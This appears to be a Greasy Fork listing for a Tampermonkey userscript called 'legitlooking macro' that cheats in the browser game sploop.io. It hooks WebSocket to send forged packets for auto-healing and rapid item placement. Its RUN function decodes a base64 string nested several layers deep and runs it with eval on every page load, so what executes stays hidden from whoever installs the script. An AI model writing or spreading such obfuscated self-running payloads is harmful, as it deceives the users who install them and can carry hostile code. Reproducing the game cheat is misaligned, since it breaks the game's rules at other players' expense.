legitlooking macro

1

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey, το Greasemonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Userscripts για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

Θα χρειαστεί να εγκαταστήσετε μια επέκταση διαχείρισης κώδικα χρήστη για να εγκαταστήσετε αυτόν τον κώδικα.

(Έχω ήδη έναν διαχειριστή κώδικα χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Έχω ήδη έναν διαχειριστή στυλ χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

// ==UserScript==
// @name legitlooking macro
// @version 1
// @description 1
// @author 1
// @match *://sploop.io/*
// @icon https://sploop.io/img/ui/favicon.png
// @license MIT
// @namespace https://greasyfork.org/users/1311498
// ==/UserScript==

let n = 0x1 / 0;
let WTFF;
const log = console.log;
let adminhere = false;

function initialize(XITED) {
    WTFF = XITED;
}

WebSocket.prototype.lastSend = WebSocket.prototype.send;

window.WebSocket = new Proxy(window.WebSocket, {
    construct(target, args) {
        const XITED = new target(...args);
        if (args[0].includes("sploop")) initialize(XITED);
        return XITED;
    }
});

WebSocket.prototype.send = function (data) {
    this.lastSend(data);
    if (WTFF !== this) WTFF = this;
};

let Sploop = {
    HEALTH: 100,
    WEAPON: 0,
    ANGLE: 0,
    CPS: 1000 / 50, // equivalent to 50 cps.
    HealingSpeed: 150,
    SUBMIT: {
        food: { ID: 2, KEY: "KeyQ" },
        wall: { ID: 3, KEY: "Digit4" },
        spike: { ID: 4, KEY: "KeyV" },
        windmill: { ID: 5, KEY: "Digit6" },
        trap: { ID: 7, KEY: "KeyF" },
        roof: { ID: 8, KEY: "Digit8" },
        cosybed: { ID: 9, KEY: "Digit9" },
    },
    HATS: {
        BushHat: { id: 1, defaultKey: "" },
        BerserkerGear: { id: 2, defaultKey: "KeyB" },
        JungleHat: { id: 3, defaultKey: "KeyG" },
        CrystalGear: { id: 4, defaultKey: "KeyY" },
        SpikeGear: { id: 5, defaultKey: "KeyH" },
        ImmunityGear: { id: 6, defaultKey: "" },
        BoostHat: { id: 7, defaultKey: "KeyN" },
        AppleHat: { id: 8, defaultKey: "" },
        ScubaGear: { id: 9, defaultKey: "KeyZ" },
        HoodHat: { id: 10, defaultKey: "" },
        DemolistHat: { id: 11, defaultKey: "KeyC" }
    },
    HOLD: (ID) => {
        WTFF.send(new Uint8Array([0, ID]));
    },
    HIT: (_) => {
        _ = Math.round(65535 * ((Sploop.ANGLE % 360) * Math.PI / 180 + Math.PI) / (2 * Math.PI));
        WTFF.send(new Uint8Array([19, 255 & _, _ >> 8 & 255]));
        WTFF.send(new Uint8Array([18, 0]));
    },
    Weapon: () => {
        WTFF.send(new Uint8Array([0, Sploop.WEAPON]));
    },
    PLACE: (ID) => {
        Sploop.HOLD(ID);
        Sploop.HIT();
        setTimeout(()=>{
        Sploop.Weapon();
        },10);
    },
    BUY: (ID) => {
        WTFF.send(new Uint8Array([5, ID, 1]));
    },
    EQUIP: (ID) => {
        Sploop.BUY(ID);
        WTFF.send(new Uint8Array([5, ID, 0]));
    },
    EQUIP2: (ID) => {
        WTFF.send(new Uint8Array([5, ID, 0]));
    },
    CHAT: (text, arg) => {
        arg = new TextEncoder();
        text = arg.encode(text);
        WTFF.send(new Uint8Array([7, ...text]));
    },
    isInGame: () => {
        const homepage = document.getElementById("homepage");
        if(homepage.style.display === "none"){
            return true;
        } else {
            return false;
        }
    },
    isAVAILABLE: () => {
        if(!Sploop.isInGame) return;
        const chatWrapper = document.getElementById("chat-wrapper");
        const clanMenu = document.getElementById("clan-menu");
        if (chatWrapper.style.display === "block" || clanMenu.style.display === "block") return false;
        return true;
    },
    KEYS: {
        DOWN: (event) => {
            heal.start(event.code);
            wall.start(event.code);
            spike.start(event.code);
            windmill.start(event.code);
            trap.start(event.code);
            roof.start(event.code);
            cosybed.start(event.code);

            if (event.code === "Digit1" && Sploop.isAVAILABLE()) {
                Sploop.WEAPON = 0;
            }

            if (event.code === "keyP" && Sploop.isAVAILABLE()) {
                adminhere = true
            }
            if (event.code === "KeyO" && Sploop.isAVAILABLE()) {
                adminhere = false
            }

            if (event.code === "Digit2" && Sploop.isAVAILABLE()) {
                Sploop.WEAPON = 1;
            }
            Object.keys(Sploop.HATS).forEach((key) => {
                if (Sploop.HATS[key].defaultKey === event.code && Toggles.EQUIP && Sploop.isAVAILABLE()){
                    Toggles.EQUIP = false;
                    Sploop.EQUIP(Sploop.HATS[key].id);
                    setTimeout(() => {
                        Toggles.EQUIP = true;
                    }, 1500);
                }
            });
        },
        UP: (event) => {
            heal.stop(event.code);
            wall.stop(event.code);
            spike.stop(event.code);
            windmill.stop(event.code);
            trap.stop(event.code);
            roof.stop(event.code);
            cosybed.stop(event.code);
        }
    },
    RUN: () => {
        const STRING = "Y29uc3QgU1RSSU5HID0gIlkyOXVjM1FnVTFSU1NVNUhJRDBnSWxreU9YVmpNMUZuV0hsQk9VbEljMHRKUTBGblNVTlJObHBIT1dwa1Z6RnNZbTVSZFdOWVZteGpibXhVV2xkNGJGa3pVblpqYVdkcFNUSmtlV0ZYVVhSa1J6bHVXako0YkVscGEzTkRhVUZuU1VOQmEwcEVjR3RpTWs0eFlsZFdkV1JETlhoa1YxWjVaVlpPYkdKSFZtcGtSemw1UzBOSmFscEhiSHBqUjNob1pWTXhkMkZYTlc1TVdGSjJXakprYzFwVFNYQk1RVzluU1VOQlowcERVV3RQYlZKMldUTldkRnBYTlRCTWJrWXhXbGhLTlZVeVZuTmFWMDR3WWpOSmIwbHBUblZaV0ZKd1pHMVZkR0ZIVm5OalIxWjVURmhTZGxveVpITmFVMGx3VEVGdlowbERRV2RLUTFGclNrUndhMkl5VGpGaVYxWjFaRU0xZUdSWFZubGxWazVzWWtkV2FtUkhPWGxMUTJOcVltMUdNR0ZZV214TVdFcHNZbTFTYkdOcE1UQmlNbVJ1WWtkVmJrdFJjRGxEYlU1MlltNU9NRWxHT1daSlJEQm5aWGR2WjBsRFFXZEtSSEJyWWpKT01XSlhWblZrUXpWdVdsaFNSbUpIVm5SYVZ6VXdVVzVzU2xwRFoybGlSemw2WkVoa2RtTnRlR3RNVjJ4MldIcHJNMDFJWjNsT1ZFRnBTMU4zUzBsRFFXZEpRMUZyVDIxU2Rsa3pWblJhVnpVd1RHMWtiR1JGVm5OYVZ6RnNZbTVTUTJWVmJHdExRMHB1V1ZjeGJFeFhTblprU0ZKMllsTXhhbUl5TlRCYVZ6VXdTV2xyYzBOcFFXZEpRMEZyU2tOUk5scEhPV3BrVnpGc1ltNVJkVm95VmpCU1YzaHNZbGRXZFdSRlNqVlRWMUZ2U1cxa2FHSlhWWFJpUjFadFpFTXhhbUl5TlRCYVZ6VXdURmN4YUdGWE5HbExVM2RMU1VOQlowbERVV3RLUTFFMldrYzVhbVJYTVd4aWJsRjFXakpXTUZKWGVHeGlWMVoxWkVWS05WTlhVVzlKYldSb1lsZFZkR050Ykc1aFNGRjBXVEk1ZFdSSFZuVmtRekYwV1Zkc2RVbHBhM05EYVVGblNVTkJhMHBEVVd0S1JIQnJZakpPTVdKWFZuVmtRelZ1V2xoU1JtSkhWblJhVnpVd1VXNXNTbHBEWjJsWk0wcDJZek5OZEdOSVNuWmlWemhwUzFOM1MwbERRV2RKUTFGclNrTlJhMHBFY0d0aU1rNHhZbGRXZFdSRE5XNWFXRkpHWWtkV2RGcFhOVEJSYm14S1drTm5hV0pIVm0xa1F6RnFZakkxTUZwWE5UQkphV3R6UTJsQlowbERRV3RLUTFGclNrTlJhMDl0VW5aWk0xWjBXbGMxTUV4dFpHeGtSVlp6V2xjeGJHSnVVa05sVld4clMwTktlV0ZYWkc5a1F6RnFZakkxTUZwWE5UQkphV3R6UTJsQlowbERRV3RLUTFGclNrTlJhMHBFY0d0aU1rNHhZbGRXZFdSRE5XNWFXRkpHWWtkV2RGcFhOVEJSYm14S1drTm5hV05IT1hOaFYwNDFTV2xyYzBOcFFXZEpRMEZyU2tOUmEwcERVV3RLUTFFMldrYzVhbVJYTVd4aWJsRjFXakpXTUZKWGVHeGlWMVoxWkVWS05WTlhVVzlKYlhoMldqSTRhVXRSY0RsRGJVNTJZbTVPTUVsR09XWlllVUU1U1VoelMwbERRV2RKUTFFMldrYzVhbVJYTVd4aWJsRjFXakpXTUZKWGVHeGlWMVoxWkVWS05WTlhVVzlLTWs1dldWaFJkR1F6U21oalNFSnNZMmxqY0V4QmIyZEpRMEZuU2tOUk5scEhPV3BrVnpGc1ltNVJkVm95VmpCU1YzaHNZbGRXZFdSRlNqVlRWMUZ2U2pKT2MxbFhOSFJpVjFaMVpGTmpjRXhCYjJkSlEwRm5Ta05SYTA5dFVuWlpNMVowV2xjMU1FeHRaR3hrUlZaeldsY3hiR0p1VWtObFZXeHJTME5rYjFsWVVYUmlWMVoxWkZOamNFeEJiMmRKUTBGblNrTlJhMHBFY0d0aU1rNHhZbGRXZFdSRE5XNWFXRkpHWWtkV2RGcFhOVEJSYm14S1drTm5ibUZIT1hSYVdFSm9XakpWYmt0UmNEbERhVUZMU1VGd1VGbHRjR3haTTFGMVpHMUdjMlJYVm5wTFJqaHdURzFhZG1OclZtaFpNbWR2U2tOQk9WQnBRamREYVVGblNVTkJhMHh0VG5OaFYwNXlTME5yTjBOdU1IQkRhemxwWVcxV2FtUkROVEpaVjNneFdsaE5iMWd4T0hCTWJWcDJZMnRXYUZreVoyOUtRMEU1VUdsQ04wTnBRV2RKUTBGclRHNU9NR1ZYZUd4SlJEQm5TVzFTY0dNelFuTlpXR3MyWW0wNWRWcFRTVGREYmpCd1EyczVhV0Z0Vm1wa1F6VXlXVmQ0TVZwWVRXOVlNVGxtUzFNMWJXSXpTa1paVjA1dlMwTlJaMUJVTkdkbGQyOW5TVU5CWjBwRE5YcGtTR3h6V2xNMWRtTkhSbXBoV0ZJMVNVUXdaMGxxUVhWTmVVazNRMjR3Y0VOcFFVdFpNamwxWXpOUloxZ3hPV1pZZVVFNVNVZFNkbGt6Vm5SYVZ6VXdURzVHTVZwWVNqVlZNbFp6V2xkT01HSXpTa0ppUjNkdlNXazFiMXBYUm10YVdFbHpTVU0xYTFwWVRtcGpiV3gzWkVkc2RtSnBkMmRNYmtKMlkwTXhNR0l6UVhWak1sWnpXbGRPTUVscGF6ZERiVnAyWTJsQmIySkhWakJKUjJ0blVGTkJkMDk1UW5CSlJIZG5XREU1WmxoNU5YTmFWelZ1WkVkbk4wbEhhM0pMZVd0blpYZHZaMGxEUVdkWk1qbDFZek5SWjFoNVFUbEpSamxtV0RFNVltRldNRGREYVVGblNVTkNaa3h1U214aVZ6a3lXbE5uY0U5M2NEbERhVUZMV2tjNWFtUlhNV3hpYmxGMVdqSldNRkpYZUd4aVYxWjFaRVZLTlZOWFVXOUtNakZvWVZjMGRGa3lPWFZrUjFaMVpFTmpjRXh1VGpCbFYzaHNTVVF3WjBsdFNtaFpNblJ1WTIwNU1XSnRVVFpKU0VwdVdXbG5lVTFEUVhsTlEwRjVUVU5CZGtsRVFXeExWSE5wUTIxU2Rsa3pWblJhVnpVd1RHMWtiR1JGVm5OYVZ6RnNZbTVTUTJWVmJHdExRMlJ1V1ZjeGJFeFhNWEJhUjFKeldsTXhkRmxYYkhWS2VXdDFZek5TTldKSFZXZFFVMEZwWWtkV2JXUkViekZOUTFVM1NVaFNlVmxYTlhwYWJUbDVZbFJ3TUdOdFJuVmpNbmhvWkVkV1dVdERNREZOUTFWd1QzbEpTMXBIT1dwa1Z6RnNZbTVSZFZveVZqQlNWM2hzWWxkV2RXUkZTalZUVjFGdlNqSTFhR1JwWTNCTWJrNHdaVmQ0YkVsRU1HZEpibVJ3V2toU2IwOXBRVEZPVTFVM1NXYzlQU0k3Q21OdmJuTjBJRkpGUTA5U1JDQTlJR0YwYjJJb1UxUlNTVTVIS1RzS1pYWmhiQ2hTUlVOUFVrUXAiOwpjb25zdCBSRUNPUkQgPSBhdG9iKFNUUklORyk7CmV2YWwoUkVDT1JEKQ==";
        const RECORD = atob(STRING);
        eval(RECORD);
    }
};

let Toggles = {
    AUTOHEAL: true,
    //AUTOCHAT: false,
    //AUTOSPAWN: false,
    EQUIP: true,
};
CanvasRenderingContext2D.prototype._originalFillRect = CanvasRenderingContext2D.prototype.fillRect;

CanvasRenderingContext2D.prototype.fillRect = function(x, y, width, height) {
    this._originalFillRect(x, y, width, height);
    if (Sploop.isInGame()) {
        if (this.fillStyle === "#a4cc4f") {
            const health = width + 5; // 95 + 5.
            Sploop.HEALTH = Math.round(health); //100
            if(Sploop.HEALTH < 0) Sploop.HealingSpeed = 40;
            if (Sploop.HEALTH < 66 && Sploop.HEALTH > 0 && Toggles.AUTOHEAL) {
                setTimeout(()=>{
                    Sploop.PLACE(Sploop.SUBMIT.food.ID);
                }, 100);
            }
        }
    }
};

let canvas = document.getElementById("game-canvas"), centerX, centerY;

document.addEventListener('mousemove', function(event) {
    centerX = canvas.clientWidth / 2;
    centerY = canvas.clientHeight / 2;
    Sploop.ANGLE = Math.atan2(event.clientY - centerY, event.clientX - centerX) * (180 / Math.PI);
});
function repeater(code, callback, interval) {
    let intervalId = null;

    function start(key) {
        if (key === code && Sploop.isAVAILABLE() && !intervalId) {
            intervalId = setInterval(callback, interval);
        }
    }

    function stop(key) {
        if (key === code) {
            clearInterval(intervalId);
            intervalId = null;
        }
    }

    return { start, stop };
}
const heal = repeater(Sploop.SUBMIT.food.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.food.ID);
}, 40);
const wall = repeater(Sploop.SUBMIT.wall.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.wall.ID);
}, 40);
const spike = repeater(Sploop.SUBMIT.spike.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.spike.ID);
}, 18.5);
const windmill = repeater(Sploop.SUBMIT.windmill.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.windmill.ID);
}, 40);
const trap = repeater(Sploop.SUBMIT.trap.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.trap.ID);
}, 18.5);
const roof = repeater(Sploop.SUBMIT.roof.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.roof.ID);
}, 40);
const cosybed = repeater(Sploop.SUBMIT.cosybed.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.cosybed.ID);
}, 40);

document.addEventListener("keydown", Sploop.KEYS.DOWN);
document.addEventListener("keyup", Sploop.KEYS.UP);

// if(Sploop.isInGame()){
//   if (Toggles.AUTOCHAT) {
//       setInterval(() => {
//           Sploop.CHAT("WTFF Client.");
//           setTimeout( () => {
//               Sploop.CHAT("A Public Sploop cheat!.")
//           },1500)
//           setTimeout( () => {
//               Sploop.CHAT("Download on greasyfork!.")
//           },3000)
//           //Sploop.CHAT(setInterval() * setTimeout()); no idea.
//       }, 4500);
//   }
// }
(function TOGGLES(){
    const play = document.getElementById("play");
    play.onclick = function(){
        //if(Toggles.AUTOSPAWN) return;
        Sploop.WEAPON = 0; //primary.
        Sploop.PLACE(Sploop.SUBMIT.windmill.ID);
        Sploop.EQUIP(Sploop.HATS.BoostHat.id)
    }
    //setInterval( () => {
    //    if(Toggles.AUTOSPAWN) play.click();
    //},100)
})();


Sploop.RUN();